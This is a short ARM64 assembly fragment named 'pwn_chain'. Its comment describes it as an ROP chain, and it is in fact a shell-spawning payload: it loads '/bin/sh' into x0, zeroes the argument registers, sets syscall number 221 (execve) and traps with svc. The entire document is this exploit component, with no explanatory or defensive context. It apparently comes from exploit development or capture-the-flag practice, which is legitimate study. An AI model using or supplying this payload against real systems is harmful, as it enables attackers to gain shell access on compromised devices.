// ARM64 ROP: x0 = "/bin/sh", x1 = 0, x2 = 0, x8 = 221 (execve)
.global pwn_chain
pwn_chain:
    ldr x0, [sp, #8]
    mov x1, #0
    mov x2, #0
    mov x8, #221
    svc #0